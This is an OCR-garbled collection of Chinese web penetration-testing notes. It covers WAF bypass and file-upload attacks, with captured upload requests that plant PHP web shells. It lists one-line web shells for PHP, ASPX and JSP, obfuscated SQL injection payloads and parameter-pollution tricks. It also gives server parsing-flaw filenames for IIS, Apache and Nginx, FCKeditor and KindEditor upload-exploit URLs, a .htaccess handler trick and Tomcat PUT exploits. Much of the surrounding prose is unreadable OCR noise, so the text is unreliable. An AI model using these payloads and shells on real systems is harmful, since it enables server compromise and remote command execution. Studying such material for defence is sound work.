WebkitFormBoundaryFADasdasdasDdasd
ispositiona: form-data; name="file"; filename='abc.jpg'
form-data; name="file"; filename=abc.php'

application/octet

<?php phpinfo(); ?>

R WebkitFormBoundaryFADasdasdasDdasd




EmultipartihiX @, — 32 _EERTEE Z N Content-Disposition, J§LA&/E—7Content-
Dispositionfdfilenamef{BE R _EERER ., FZWAFEEITEIZE— Content-DispositionFfi IA A X
fEtrSEEE, RELENXGR, NMSHHSEE. E, NERFOWAFBHEIIXGEE"
sp.pho”, {BEPHPEEHTLERZ "sp.php’, SEHEZET
[+« [2 < [l - |

Raw | Headers lgl Raw | Headers TE}

POST /upload/upload.php HTTP/1l.1 A HTTP/1.1 200 OK
Host: pass.littlebases.com P Date: Fri, 27 Mar 2015 03:23:55 GNT
Proxy-Connection: keep-alive Content-Type: text/html
Content-Length: 379 Connection: keep-alive
Cache-Control: max-age=0 Vary: Accept-Encoding
Accept: Set-Cookie: _ jsluid=7f0531cB9687¢711
text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 X-Cache: pass
Origin: http://pass.littlebases.com Content-Length: 25
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWE4) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2272.101 Safari/537.36 upload success! sp.php
Content-Type: multipart/form-data; [ 6
bounDary=--—--WebKitFormBoundaryFAcTDwV1ZsuWOnJE
Referer: http://pass.littlebases.com/upload/upfile.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.8,ja;q=0.&

oundarvFACTDEVIC suWOnJE
Content-Dispositiona : form-data; name="file"; filename="sp.pho"
Content-Disposition: form- clal:a name="file"; filename="sp.php"

neent—fype—appticatiomioctet—stream
<?php eval(§_GET['c'])?>
—————— WebKitFormBoundaryFAcTDwV1ZsuWOnJE
Content-Disposition: form-data; name="submit"
OK
—————— WebKitFormBoundaryFAcTDwV1Z2suWOnJE--
o]
|. ‘i;\l:‘.l‘,‘l ‘_I |

https://weibo.com/ttarticle/p/show?id=2309404007261092631700

X E i T Content-Dispositions& Fli A~ 51 525 77 3

boundary % it

boundaryil AR — & (Win2k3 + IS6.0 + ASP)

1) %ukEtE: iisZFEXtunicodelIf@EMT, f:payloadA[s%u@e6ckudeecect ], T HiR)E N2 [select]
%u00e61nd 1=1
FRBUFEE: unicodefEiisfRi 2 &t HBimultibyte, HRAFEHEEPTREHI : 2 widechar ] BEEFEHNE —NERK
. select¥ HeXt M funicode A%u0065, {HZ%u0RTORIFESH M Ne skueofolect
iis+asp

2) %#5tE: union selec%t user fr%om dd #iis+asp asp+iisHiE FT&ZMKHEES, W: payloadN[sele%ct], fEHTHIRENE[sel
ect]

3) asp/asp.netfEfEHTiERIAT%, fiFContent-Type: application/x-www-form-urlencodedfI##EIR3 i select%201%20From%2
Quser

asp/asp.net requestfi#ir:
4) fEaspflasp.netHIREH F HIIRAS H—MfEHrequesttl, HfFEHrequest(“id’ ) MEAIRIEKRE, SHIGET, POST/AEHITE
L, EEnm] LA —AME R, METHODANGET, fHREHIEHHPOSTHINAMPOSTM content-type, #—FhEfE 7 B 2K E A postHiE
L iimethod URGET, 1R Frequest ( “id? ) 5 RIKEUEIE, T123KE B post I A%




php+apachel % ff] boundary:

phpfE f#Hrmultipart datalI %S B S RHEPE, X FboundaryfiR%], RETESHIHEAINZE, HlanEAN15EE Kboundaryy—
aaaa, 123456, phpf@r e & RiRA T —aaaa, /5 H KA A EE RE . SR80 HAh 1) I WAF 72 #UAEAT BB %, 75 AT REIREXH 2
BAFRE, WA TR < HIIBYPASS

Content-Type: multipart/form-data; boundary=
Content-Length: 191

Content-Disposition: form-data; name="img"; filename="img.gif"

GIF89a

Content-Disposition: form-data; name="id"

' union select null,null,flag,null from flag limit 1 offset 1-- -

W 7% method(header:k 1)

K Lapache [RAFEMGETIE R K%, Fikmethod MTEXISEUHGET A A . WK iKImethod4 ADOTA, KRZIREIGET
TIERE, B A UMERBRGETIEAREME, EMNEANTIIE, EmRwalM % ZBGET T ERE, MBAZUEMANE

SHE:

https://xz.aliyun.com/t/2418

PEERF A



3.3.1 iR A IE B - SR B RS (

Emultipartil/d, — P LERZEEZ N Content-Disposition, ELA&E—1Content-Dispositionfd
filenamefEE RN LENSXHR . FZWAFEITEIZE— 1 Content-DispositionFiA RN EBTE, FELEN
XHE, NTTSBESE. ME, INERRMAWAFEITSIIXERZR" "sp.pho”, {BEPHPETERE "sp.php”, &
Eﬁwﬁdml_o

Go ance < |v

Raw | Headers Hex Raw Headers Hex

POST /upload/upload.php HTTP/1l.1 HTTP/1.1 200 OK

Host: pass.littlebases.com Date: Fri, 27 Mar 2015 03:23:55 GMT
Pro: Connection: keep-alive Content-Type
Content-Length: 379 Connection:
Cache-Control: max-age=0 Vary: Accept- Enc ding

Accept: _ 381luid=7£0531cB89€87¢c711
text/html, application/xhtml+xml, application/xml;cq=0.9, image/webp, */*;¢=0.8 L -
Origin: http://pass.littlebases.com Content-Length: 25
User-Agent: Mozilla/5.0 (Windows NT £.l; WOWE4) AppleWebKit/537.3€ (KHTHL,
like Gecko) Chrome/41.0.2272.101 Safari/537.3€ upload success! sp.php
Content-Type: multipart/form-data; 6

bounDary=---- VebKitFormBoundaryFAcTDwWV1ZsuWOnJE
Referer: http://pass.littlebases.com/upload/upfile.html
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh:;q=0.8,ja:q=0.€

L

) nJE
Content— Dlspletluna : form-data; name="file"; filename="sp.pho"
Content-Disposition: form-data; name="file"; filename="sp.php"

ntent—Fyper—appitoatiom et—Streo

<?php eval(§_GET['c'])?>
—————— WebKitFormBoundaryFAcTDwV1ZsuWOnJE
Content-Disposition: form-data; name="submit"

—————— WebKitFormBoundaryFAcTDwWV1ZsuWOnJE--

i A4l
)
CACL
£l /LUJ

h

|?NTJI+_J (_>J Type & search term DmﬂtLAné I({g n QJ'IJ/: /L-:,Z{JJ:

k_‘.'l

3.3.2 XA ERR-XGEREBE (Z)

£—"Content-Disposition 1, FEZMfilename , WMIXBITRZERRENfilenameEERN 4R, W
RWAFEITRfilename="p3.txt" AN BT EI R, SREFR, BERESET. BENERESRBNINOXHE
=t3.jsp.

Content-Disposition: form-data;name="myfile"; filename="p3.txt";filename="t3.jsp"

SH I H:

https://xz.aliyun.com/t/15

pa Ak

Content-Disposition: form-data; name=img"; filename="img.ph

p

g B L

HAFIB T name=" myfile";"is , I\ A BT 2 filename. T & i 25 8% 4% S AR AT B 1 S 4 R t3jsp, F BIWAF # 52t



content-Disposition: form-data; name="myfile";; filename="t3. jsp

HAohRA gt

T HE—RFEEE H, BABRATMATXSS. SQUIEA. r2#iTERR
¥ 5

PHP

?%20value=payload

ASP

?%value=payload

?%}9value=payload

S ¥ s

?id=111111111111111111111  (KIRK) and 1=1

?id=1111111111 union  %23xxxxxxxxxxxxx ({BEKIBEK) xxxx%0d select %

SH A
http://example.com/file%00.txt

HPP HTTPZ $i5 /8t #: 5413
(BAMysql A1)

?id=123+union+select+1,2,3+from+table

?id=123+union+select+1&id=2,3+from+table

?id=123+union+select/*&id=*/user&id=pass/*&id=*/from/*&id=*/users id=select/*,*/



BRI S SRR RE

[ Technology /HTTP back-end 1 Overall Parsing Result . Example
} ASP.NET/1IS all occurrences of the specific parameter : E
;J—‘ ASP/1IS all occurrences of the specific parameter
; PHR/apache Last ococurrence
| PHP/ Zeus i Sl : Last occurrence |
?)‘ ISP, Serviet/apache Tomcat First occurrence r
i JSP,Serylet/Oracle apphcation Seryer 109 First occurrence I
;-__* JSP,Serviet/Jetty First occurrence
IBM Lotus Domino Last occurrance
1BM HTTP Server First occurrence
mod_perl,libapreq2/apache First occurrence
perl CGI/apache First occurrence
mod_perl,lib??7/Apache Becomes an array |
[ mod_wsai (Python)/apache First occurrence
Python/Zope Becomes an array I
IceWarp Last occurrence
AXIS 2400 all occurrences of the specific parameter
Linksys Wireless-G PTZ Internet Camera Last accurrence
Ricoh Aficio 1022 Printer 4 First occurrence i
webcamAP PRO First occurrence i
L DBMan All occurrences of the specific parameter | pari=valie«~ ‘.-'ali}#___ 3

HPF HTTPZ; 1 5eid

RFITERHTIP A EEN, FICRLFAMELZ AL (M #7477 %0a. %0d5EHAT H#AT)
241

/?a=1+union/&b=/select+1,pass/&c=/from+users-

select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—

FZ2LEEMAANRG, RAMHPPEGE — N aBIRE, ARZEETSHEA—H, KEREARAKNSHZE#THE, 27T HEE
PFESAT E M B&IFER

SH L E:

https://zhuanlan.zhihu.com/p/79356937

BJERREL G
B i R 51

?path=/path/././././blah/blah/blah/../../../vuln.php

/path: /vuln. php?value=PAYLOAD

/path/;lol=10l1/vuln. php?value=PAYLOAD
/path/vuln.php/lolol?value=PAYLOAD
/path/vuln.php;lol=10l?value=PAYLOAD

i geit



URL Encode - %27

Double URL Encode - %2527

UTF-8 (2 byte) - %c@%a7

UTF-8 (JAVA) - \ uc@a?

HTML Entity - &apos;

HTML Entity Number - &#27;

Decimal - $#39

Unicode URL Encoding - %u@@27

Base64 - Jw==

iistasp(x)

Yo u Ktk :

iisZ FExtunicodefIf##T, @: payloadHy s%u006c%u0006ect, fEHTH K 52 select

FE%ukFE: unicodefEiisf#iT < B 2B B limultibyte, (ERFEHREEETATEEHI: £ AMwidechard] BB H AR —NFHF

in: selecd HieXt B fjunicode N %u0065, 18 52 %u00f0 [E)RE L4k i e i e

s%u@B65lect->select sku@OfOlect->select

WAF 2 7T B B8 iR s %u0065lectii =, ERAMRE W EIRHIA T s%u00f0lectI R . XFERAT LARI AL R MWAF i Seit
HILEA k82 (uniontselect+from) BIMIR B M.

s%uev45lect = s%u@B65lect = %udOfOlect
u --> %u@es5 --> %uee75

n -->%u@dde --> %udobe

i -->%u0049 %U0069

0 -->%uee4df %u@e6f -->%udlba

S -->%u0053 %u0073

1 -->%u04c %uBv6C

e -->%u0045 %U0065 - - >%u00fo

C -->%u0043 %u0063

t -->%u@054 -->%ule74 -->%ullde -->%uddfe
f -->%u0046 -->%ud066

r -->%u@052 -->%uee72

-->%u004d -->%ueo6d

aspl/asp.netfii 7 i& K

asplasp.net?EfEHTiE K%, o Content-Type: application/x-www-form-urlencoded i) ¥ $2 35 77 2,
select%201%20rom%20user

KNG ZA(AEWAF, T 855t )

?id=<sCripT>AleRt(123)</scRIpt>

?id=123 uni@n SeLEcT BaNneR FroM v$vERsIon whERe ROwNUm=1



AR RE GEWAF, {[Udisd)
BAES

?id=1+un/**/ion+sel/**/ect+1,2,3--

Bt Xt o 1) o AT B A

Get /test HTTP/1.1 > GET test,randkey.yourloggingdomain.com

Get /test HTTP/1.1 > GET http://test.randkey.yourloggingdomain.com

Get /test HTTP/1.1 > GET @test.randkey.yourloggingdomain.com

R PHE)E:
host.test.randkey.yourloggingdomain.com

SHENE:

https://www.owasp.org/index.php/SQL_Injection_Bypassing WAF

https://mp.weixin.qq.com/s/eljy-DFOSROmSvvzX_Ge5g

2.2.5 % 5 (1 JSHT s a3t
3%

BENR SR BES web B FIEHE, NERZSHRKSHELHRLSsMEZ FEERKE CGEIIETERMERFLE) W
B —burp$l 2 i), requestitipostit) & 4, 1R8] &7 LLE Flpassword S ¥ M8 £ £33 B s in s 2 5 Bk T Hn, BIXME
19,3 0 A, ) SR B A AR X SRR R T o B T IX B O, 31X 3 4 A I b T AT Bt i 2 AR

Request

J RawT Params T Headers T Hex ]

POST mswy w=mwmm HTTP/1.1

Host: = = - =

User-Agent: ™Muw...a/5.0 (Macintosh; Intel Mac 0S8 X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0

Accept: text/html,application/xhtml+zml,application/xml;qg=0.9,%/%;q=0.8

Accept-Language: zh-CN,zh;g=0.8,en-05;g=0.5,en;g=0.3

Accept-Encoding: ovip, deflate, br

Referer: https:// = L] ‘login

Cookie: WT_FPC=id=281bfaatrdb...5513£11479968939988:1v=1486656905496:55=1486656905496; CmLocation=290|290; CmProvid=sn;
SWSS0_JSESSIONID=bHUjgBlRJI107gL3axLvHNQ6BniHokeV5BesH69hACGXBHDK-sY0C!1-1422190054; BIGipServerqdsso=125666058.4647.0000
Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 408

userName=18912345678&apassword=80abf3540de5lae773%cc2afalldecdabc954£835ec719d896cd067cal3c2765f07b8dbebf27fal19d99a678c842fadl7bc63058al3¢c3
8672624147fddeb0£f9eb386920£1510 822¢f203999¢68f10fdad99bab6b28abe57d622d3f12bec2cd632a~6~Ff61318cd81144a1265769¢627h4866a93¢808a51499
bf6ab0056337&verifyCode=yngb&0Or s=1l&loginType=l&fromUrl=uiue®2Flogin_max.jsp&tolrl=l= TR Thr e e el i o m L

SHELE: RAED UL T U T5iE

https://www.freebuf.com/articles/web/127888.html

ok LA T7VE DB RTIR T

1) BRRAmsnE, RBERMNBRERE, RIENRS S, SRREH, BERRNNESHEARSSNE &, RIOH
TFEERSHIGETE, XEESETAMER T gz

2) FHselenium webdriver&E e &M A TN, FHRETLIEE N, FEFREEHDERAN D, XM HELLBR TR



3) XMTFEEEHSWEMFY, BAEMKsEIERTERE, REAMFELEE A LOE S St nELR, Fac
SAELK, BF LI KT i Eburp £ HRD AT

4) BINEN, JFEAFRE, conylZE AT H{EE2E, 5T —Hburpfdfh, https://github.com/cenyl/jsENcrypter , %N
jsEncrypter, MiELRHBRN, 3REET —T, ARG EHHER

XEE RS AR TTE

1) BHHRBE %% maven, mac T E# brew install maven
TRE:

https: //www runoob Com/maven/maven -setup.html

BRSO =M R A ZRITIE

1) Z¥tFmaven)s, EjsEncrypter git clone[El>REE T #ERMEELE, AEEMKIMHRT, ITHemdE LD, R/FETmwn
package, BT DB RIFERE, RiETESE H—Margets <

dayu@Kali:~/SZHl/test/jsEncrypter-master 162x53

mvn package

REAERTET . FHANEEXE. ..

https://fucker-shamo.github.io/2019/08/04 /%t M js &l ¥4 IN % 5eid /

HH ) 52 IR 2 388 B Y — L i) R
ZAphantomJSHIELES % hitps://blog.csdn.net/xc_zhou/article/details/80700640

SHHERE:



http://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/
https://www.freebuf.com/articles/web/184455.html
https://bbs.ichunqgiu.com/thread-42457-1-3.html

http://gv7.me/articles/2017/jsEncrypter/
https://www.freebuf.com/articles/web/127888.html
https://www.cnblogs.com/xiaozi/p/9158988.html

2.2.6 XMLDecoder #x%:. POC

AN AU TAR:
PREERAY.

1) java

2) array

3) class

4) object

5) void

6) new

7) field

8) method

9) property

10) byte

1) HARHHERR

XML ARV
XML B 7 F

TR
https://xz.aliyun.com/t/7944

X EETKNH T XMLDecoderiBEIHEAAIIR... T #E RAVTHE T HKCVERIT L E

http://xxlegend.com/tags/XMLDecoder/ --CVE-2019-2725. Weblogic XMLDecoder RCEZ#
https://payloads.info/2020/07/01/Java%4:- k7545 -XMLDecoderElWeblogic /LA T IS 404 /

L EAEE 4 IPOC

2.2.7 phpMyAdminZ: getshell

=
illlg

e 3] sqiER) Z /T, & Zphpmyadmings 04 &2 G AMEE AR, EIAZ/EEE T HHAEZEF HphpMyadmin
getshello# T Z R % E B S KA 18

phpMyAdminff] f& £

phpMyAdmin & —ANPAPHP 5, BAWeb-Base 7 sNAEMTE M EHL EFIMySQLII SR FEEH T A, LB A FAWebB O &
BMySQLEE FE . 18 i Web®e O] DL A —AME 5 7 RN B R SQLIBE B RS, THELEREREICARICHE
NHE. HAp—AEREEHET B TFphpMyAdminR H A PHPFE 2 —FE7E W TR 5588 LT, (B2 4T AZEATAa] Hh 7 i F ix e
BAAERHTMLAE, W TEmEEMySQLEEEE, 7R Bk, WEREEEERFERR. el HphpMyAdming
SCH FMIphpiEiE, 778 % 5 W TR BT & 2 1 sqiB ik IEf .

TR



https://xz.aliyun.com/t/3283
https://my.oschina.net/u/4196756/blog/4408564 - - {5 L &= E IR

https://zhuanlan.zhihu.com/p/25957366

2.2.8 B JWTH — 25 ¥

=E

headerZfo
payload&B 4y
signaturegf o
TeretokenE A%
MEBRE
ENEBRE
IBEARSAINE R EAHMAC
YR BE 2 £H
EELKIDS ]
R HF1%2EX
SQLEA

wREN
BIIKU/XEUSER
Hfth AR

Sy

T E
https://xz.aliyun.com/t/6776

ZXEPREFA MG, LA IWTHIRBE & T B c-jwt-crackerth & M RN 4%

2.2.9 Ft&¥%H



Y R R ey

B

7S P4 =1
#R
s 6.0 test.asp;.jpg « /test.asp/test.jpg
S 0 test.jpg/.php
s 15 a.aspx.a;.a.aspx.jpg..Jjpg

.50 BT
NgInX  (.7<=0.765. ffile.jpg%00.php
0.8<=0.8.37

EAE5TS

| F4% . htaccess AR A& S

B A cfEsk: 47 49 46 38 39 61 (gif). FF D8 FF EO 00 10 4A 46 49 46 (jpg) -~ 89 50 4E 47 (png)
HAhf#EPT#: cer. asa. php4. php3. php5. phtml. jspx

&3 (Content-type) MIME

H & [EIP7F filename="../backdoor. php"

%48 a3 R
H 4 a% Ueditor

controller.ashx?action=catchimage

FCKeditor

BERAE

/fckeditor/editor/dialog/fck_about.html

/fckeditor/_Whatsnew.html

Efewtm
WK b AR



FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&
CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com¥%2Ffckeditor%2
Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 MiRiEid)

ISP fiR:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

ERAGE P BEEUNFCKeditor SEFRMERRIMAIE S, BEED T LLEE (X

M RAFRMAT R . /. BREG, SO ASLhRR sk

FCKeditor Htest Xfif b4&Huik

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

— IR RESEMIER_samples Hx, W BLRR.

FCKeditor/editor/fckeditor.html ARPL A&, WTLL s A& B A 354k 3 Y AR 45 25 B mT Bk 4% 2= ] A& S04 TR .

https://cloud.tencent.com/developer/news/210677

R BB

Version 2.2 g &

Apache+linux ¥ 3% T 7E b A& SCHF R A 588 | ilaodE it
Version <=2.4.2 For php

TEANEPHP AR 3R X Media BT BAESCHRBIIER], SEH P BEEEXH! B LT RF M, B
actionHihik

<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"

method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>

FCKeditor X f 4% A2 T R & i 583 7

1R L WHE _4E B SCHEBI N shell.php.rar Bishell.php:.jpg 232 Ashell_php;.jpg iX & #HRFCK A4k,



R shell.php+Z# 5T, FidZ# RS2 Rwin REE *nix 2 72 FF ) [shell.php Fishell.php+ZE#% 22 N AR SCH R UR
kgt BRSO RT 3R Ashell.php;(1).jog AT UAFT B — A0k, RAEM T HE —RME IR, WRBE =% HFMAZRH
Version 2.4.1 #il i@ id

B CurrentFolder S8 .../.../ RIBARFK H

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFol

derName=shell.asp

RIEEEHXMLE BT EFMIEIAEKE X

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Imag|

e&CurrentFolder=%2F

thmT DB B0 A A
JSP A

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFo

lder=%2F

Fckeditor 2.0 <=2.2

Aot btgasa. cer. php2. php4. inc. pwml. pht J5 %83 EEEERFRISCHFEEK $sFilePath = $sServerDir .
$sFileName , T¥EH 1§ $sExtension )54 HiEESHEWINdows F7E &S BEEMA SRR GXBEASBRER)

MifEapache T, BFA"Apache U4 T kbadwiA" il A 2, 58l B4R IR € XTYPE 22 & AFile K515k L
&3 MR YEF CKeditor fIARRD, R i1 B ok

76 AR W B E AR A SR ESR IR I, (B SR A W] B TC % B 3 AR AT AR B E SO 48 SR T N B S R e, AT DA
Fiis6 fENTIRTREE L xoxx.asp 3 K 8i# E4E xx.asp; . jpg

SH N E:

https://www.cnblogs.com/zpchcbd/p/11745119.html

KindEditor

Efwm

kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file

kindeditor/php/upload_json.php?dir=file

AL BB
kindeditor<=4.1.5

curl -F"imgFile=@1.html"http://127.0.0.1/test/kindeditor/php/upload_json.php?dir=file



https://www.sinesafe.com/article/20190510/Kindeditor.html

https://www.freebuf.com/column/202148.html  -- BfE/B

2.29.1 EERF S S

g

B Ui B

SO AR AR F S B M A8 B 10— MR, BN 3R R S SRR R b B 8

Php—ﬁliﬁ:
<?php eval($ POST[666]);?> 666
Aspx—A]if:

<%@ Page Language="Jscript"%><%eval(Request.Item["111"],"unsafe");%>

Jsp—AJif:

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParame
ter("f"))).write(request.getParameter("t").getBytes());

https://my.oschina.net/u/4373914/blog/3467075

1R 55 3 1) b 4% 56 IE

1) AABRRIEE X R ARG SRR BRIWHTAEEEARHF
2) BARKIE

SE XAV EAEHIE SRR, BRith 2 R A JE 0T LA b A%

E XA RV LA IG5

[RBITE]

R E Ay 44 7 CABC & AT IRIR (TR 2>)

A LA Fcerik 2 Geid B R

W0 SRR A e e R O B R R N/ 5 (ASP)

RERR S5 G212 B 3R AT I F asheoR A4 i — A1

htaccess REIEH T T EArkjpgml AT I A, BARLE A A E X



3) K BKAE

(R 7%] B RNHBIEHES LEES

GL AR & /o i /g ; £ eribt L0 S ud TR by

4) X RBKAE
B AT LASE php B SO S R S5O IE 5 B R S Y

5) X fHEHRIE
W% BIRTE, HE LA R4 SNPG. JPG. jpeg. JPEG
----------------------------- 18632704077529342871332734129

: data; name="1image"; filename="shell.php"
Content-Type: 1mage/jpeg

<?php system($ _GET['cmd']); 7>

KAAEE. .

6) jsH 34k

JSTERT I & T O VF AL I J5 KR

[RB T ] EEERRESERIESR, RATIRERE R EHWpg

e &

MR % 2% M 3IA  (IS5.x-6.x Apache Nginx 11IS7.0/7.5)
1) 1IS5.x-6.xf# ¥ ¥ H

i Fiis5.x-6. XA A I AR 55 8%, K Awindows server 2003, MuitbE i, FRIBEA—M Nvasp; ZENTIRIH M R AEfftraspC
4, YA BEfENTaspx i .

H % fi# 7 (6.0)
T www.oo.com/xx.asp/xx.jpg

JEHE: PR SS2S BRI\ 298 .asp, .asaH 3 F K SCHFER AT Biasp X1



A
FER: www.xox.com/xx.asp;.jpg

JRH: RS ESBANENT, SEHKNE, Fitxxasp; jpgEH M@ RaspXH T .

R R

IIS6.0 BRIA I AT $0AT SCHFRR T aspi B & X =7
ltest.asa

ltest.cer

test.cdx

BRI R

SRR P BRSO B B, B HRSERR
EAE B SRR B AT

e R, AMREA S BRI RS
2% kasa. asp. cer. cdx% G L&

2) Apachef@thigiA

¥ T JE B
Apache T ST IR 5 MG B 22 FF 46 0 W A A, 2 SR J5 8 4 AN BT IR Gl SO AT 3t B AR A2 BT . B test.php.owfurar
“owf Fl”.rar” X i Fi 5 4% = apache A A iR 5l ## 4T, apache i < #wooyun.php.owf.rarfi@ 7 Fiphp -

FFE A
Www . XXXX . XXX . com/test.php.php123

HARE W& S B0 F

(1) tE7E Apache i conf B A X#—4THE & AddHandler php5-script .php X i R B 442 B A4 php B CfF 4 &
test2.php.jpg < BA php KHAT .

(2) WR7E Apache K conf LA X #H —{T L E AddType application/x-httpd-php .jpg Bl 3™ /&4 & jpg, —H£HELL phpli AT

— AN 4 Fxoooct 2x X3 I S (1110 Index.php.fuck), Apache£: Mx3HIAL B AEx1HIAL B T 2 R8T, tEX3ARE T Apachefit
fEMTHIY B4, I 4 ApacheZREMIT<2MME, XHE—EHEMEIRX, BB —ARMENTNT BLNIE

WampServer2.0Al1lVersion(WampServer2.0i/Apache2 2.11)

Wamp Server2.1AllVersion(Wamp Server2.le-X32/Apache2 2.17)

Wamp5AllVersion(Wamp5 1.7.4/Apache2 2.6)

AppServ2.4A11 Version(AppServ-2.4.9/Apache2.0.59)

AppServ2.5A11Version(AppServ-2.5.10/Apache2.2.8)

AppServ2.6Al1Version(AppServ-2.6.0/Apache 2.2.8)

A B4R RIA S ERAF LY SR A MEAT TR, I HLIX SRR 53R AF 7E X php 33 AF & MR php SRABHT IXAN/INF o 27 54X R4 B A &
i, REE LR

B TPAE IR Apachefi A :




3) nginx f@ ¥ ¥E M
¥ A SR

Nginx2RiA &2 PACGIFI 5 RS2 FFPHPAEMT I, 338 A3 2 2ENqinxBt B SC 4 3@ IE N IL AR % B SCRIPT_FILENAME, 41ij5 14
www.xx.com/phpinfo.jpg/1.phpiX~NURLEY, $fastcgi.script_name &4 % B~ "phpinfo.jpg/1.php”, 4R JE 13 AR
SCRIPT_FILENAMEf£i%45 PHP CGl, HRPHP A SEZZXFEKSH, FHKphpinfo.jpglE APHPICAENTIE? XM 2 Ui E
fix_pathinfoilX A& T

WRFFE T EAED, PBAehlREPHP KW T2 4H:
PHP£iAASCRIPT_FILENAME &phpinfo.jpg, Ti1.php~ZPATH_INFO, FrLLRt£ ¥ phpinfo.jpgfE IPHP SOk T
RiFAE R

www . XxxxXx .com/UploadFiles/image/1.jpg/1.php

www . XXxX .com/UploadFiles/image/1. jpg%000.php

www . XxxX .com/UploadFIles/image/1.jpg/%20\0.php

4) 1IS7.5 @i

IS7.0/7 .55+ phpf@tfr i B — AN AL FNginx B BT IR, SHER SO 2 R EAURLETHEM /P8 "/ AR CHSE php" "BEE
#ZBphpi) 7 X EMNT (Flan: webshelljpg/x.php)

IS7.0(Win2008R1+IIS7.0)
IS7.5(Win2008R2+IIS7.5)

IS BT IR T AR Apache I A M, £1XT1S6.0, REXHL AR Ear L HEAMBERE . KEEER—/, WT"ERXMFLME
B4 . php" XA SR B A php-cgi ¥R, Fr A SEERIS B & = TR

XY R4 5eE (asp. aspx. php. jsp)
1) asp
#1S 5.0/6.0

#ICA AT

.asp;.jpg

.asp.jpg

.asp;jpg

#H FAE T

.asp/1.jpg

#RNE Gt

#EMT



1.asp%00.jpg

1l.asp .jpg

1.asp_.jpg (_MREZH, R7Ewindows FAEX, BFEAwindows &% H3)EHEAFFEHMMAS ETHKAR)

#ELZBLGT (BfRasp)
IS6.0 BRI\ AT $AT SCAFBR T aspie 8 81X =F:

#IIS put 1%

#asaspp

#filename A & jf B content-type ) T —4T
#+1.asp;+2.jpg

#XIOC LA

#RTOL

2) aspx
#IIS 5.0/6.0

#ICA AT

.aspx; .jpg

.aspx.jpg

-aspx;jpg

#H FAEHT

.aspx/1.jpg

LINUNCEZ S0

asPx

#HER
1.aspx%00.jpg

#EM G



1.aspx_.jpg (_AREZH, R7fEwindows FTHR, FE AwindowsHR 4 H3)EEARFE NS EHKINE)

#ELZ BT (BfRasp)
IS6.0 BRI\ AT AT SCAFBR T aspie 8 81X =F:

(A paspx3CfE, Wwafgeid)

#IS put L4%

#asaspp

#filename ¥ /i & i Fl content-type #I T —1T
#+1.aspx;+2.jpg

#asaspxpx

#XOCM: b4

#RTLO

3) php
NN

pHp

#E L Bod (B php):

#EKsas (RATEwWIndows THZ, BFEAwindows R4 B3 ZEARFEMNAFSFEHEBANE)



.php .

.php.

.php.

-php .Jjpg

.php_.jpg (_ARE=H)
-php.Jjpg

-php jpg

1.php.  .jpg

111.php&amp, #x2e;jpg

#H et s med

HFET IR
-jpg/.php (nginx)
.php.123 (apache)
-Jpg/php
-Jjpg/1.php
.jpg%ee.php

HaE

#H A FF A windows S i 44 AL G2 id

1.ph[EZp

# 4% .htaccess: ({XfEApache, #ilta_php.gif, 242 BphpHaT)

.htaccess § &

<FilesMatch " php.gif">
Sethandlerapplication/x-httpd-php

</FilesMatch>




#IIS put E4&

#XHEEwaf (6. XHEESRE)

4) jsp
#FH N jsp & H A K jpg

-jsp-jpg-Jjsp

#ELZBET (BRsp) :

#put b4 (Apache Tomcat7.0.0 -7.0.81)

%20 Put /testl.jsp%20 HTTP/1.1
::$DATA Put /test2.jsp: : SdatA Http/1.1

Put /test3. isp/ Http/1.1

Put/test3.jsp.http:/1.1

#PUT L5 {X53, HexpalFH

'i-:_ PUT /testi1.jsp%20 HTTP/1.1

iiHOSt: localhost:8080

;’User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/
E:Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
ngccept—Language: zh-CN, zh;0=0.8,en-US;q=0.5,en;q=0.3

%.COHnection: close

ifUpgrade—lnsecure-Requests: 1

;gtoﬂtent-Length: 22

Content-Disposition. content-type. SC#:P AR . X4

1) Content-Disposition



¥iform-data; BN -form-data

B #iform-data A* Bf: Content-Disposit

¥ form-data; name="file"; SEJEHE BEnERED — AT

iContent-Disposition: form-data ES/EHE #NskEL—ANTH

K Content-Disposition B Ncontent-Disposition

filename[EZ="1.php" (IBTH mwaf)

filename="1.php[E %" (TEEZ

filename="1.jpg";filename="1.php"

Z/~Content-Dispostion

SE5. hitps://www.secpulse.com/archives/117827 .html

2) Content-Type

php: application/octet-stream

WiContent-Typef&ii Nimage/gif, B HAthfovFmIEaL,
ok R AT )
kR #Hontent-Typ: image/jpegRE TFc, #.phpiic/GmEIT], HEBEERM, N5 SEREC.p

